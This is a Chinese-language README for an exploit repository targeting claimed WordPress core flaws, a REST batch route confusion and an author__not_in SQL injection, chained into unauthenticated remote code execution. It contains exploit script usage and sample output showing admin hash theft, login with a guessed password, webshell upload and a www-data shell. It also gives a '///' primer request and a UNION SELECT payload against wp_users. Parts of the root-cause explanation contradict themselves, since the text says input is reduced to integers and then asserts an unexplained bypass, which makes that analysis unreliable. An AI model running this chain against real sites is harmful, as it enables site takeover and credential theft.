漏洞类型: REST 批处理路由混淆 + WP_Query SQL 注入 → 完整 RCE
CVSS v3.1: 10.0 / 10.0 — 严重 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
受影响版本: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 已修复版本: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## 快速开始
### 1. 搭建漏洞靶场
**要求:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. 预期输出```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| 文件 | 描述 |
|---|---|
README.md | 完整的漏洞分析与利用报告 |
exploit.py | 自动化利用脚本(零权限 → 一条命令实现 RCE) |
docker-compose.yml | 易受攻击的 WordPress 实验环境 |
chain-rce.md | 自动化 RCE 链文档 |
images/ | 手动利用过程的截图 |
漏洞类型: 未认证远程代码执行 — REST 批量路由混淆 + WP_Query SQL 注入
CVSS v3.1: 10.0 / 10.0 — 严重
攻击向量: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 是 WordPress 核心中的一个未认证 RCE 漏洞。它将两个独立缺陷组合成一个完整的攻击链,可从零权限实现完全控制服务器:
| CVE | 缺陷 | 在攻击链中的作用 |
|---|---|---|
| CVE-2026-63030 | REST 批量路由混淆 | 绕过认证 |
| CVE-2026-60137 | author__not_in SQL 注入 | 任意数据库读写 |
受影响版本:
利用条件:
→ 绝大多数 WordPress 安装默认即存在漏洞。
/wp-json/batch/v1)允许在单个 HTTP 请求中发送多个 REST API 请求:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
每个子请求都与各自的处理器匹配,并且每个处理器都有自己的 **权限回调**。
### WP_Query — `author__not_in`
核心数据库查询类。`author__not_in` 参数接受一个整数数组,生成如下 SQL 子句:```sql
AND post_author NOT IN (5, 12, 23)
每个元素都会经过 absint() 处理 → 仅保留整数部分。
wp_parse_url()parse_url() 的包装器。当接收到无效的 URL 时 → 返回 WP_Error。```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. 根本原因 — Bug A:批量路由混淆(CVE-2026-63030)
**文件:** `wp-includes/rest-api/class-wp-rest-server.php`
### 易受攻击的源代码:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### 为什么 `"///"` 会触发这个 bug?
当 PHP 的 `parse_url()` 遇到 `"///"` 时,它会尝试根据 **RFC 3986** — URL 结构 — 对其进行解析:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
当接收 "///" 时,它会将其解释为:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP 返回结果:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress 将此包装在 wp_parse_url() 中 → 检测到无有效协议、无有效主机、无有意义的路径 → 返回 WP_Error。
wp_parse_url("///") 返回 WP_Error(URL 格式错误)。此错误导致请求在构建 $matches 的循环中被跳过,但在分发循环中并未被跳过 → 数组变得不同步。
文件: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### 正常(安全)路径:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
REST 控制器(class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### 路由混淆路径(易受攻击):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
当批量失同步发生时,请求参数不会经过 REST 控制器 → 原始字符串直接进入 WP_Query → wp_parse_id_list() 存在边界情况绕过 → SQL 注入。
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
生成的SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| 场景 | 结果 |
|---|---|
| 仅利用 Bug A(路由混淆) | 绕过权限 → 但无处注入 |
| 仅利用 Bug B(SQLi) | REST 控制器总是强制转换输入 → 无法注入 |
| Bug A + Bug B | 混淆绕过控制器 → 原始字符串进入 SQL → RCE |
单独来看,这两个漏洞都是无害的。只有链式利用时:
POST /wp-json/batch/v1 Content-Type: application/json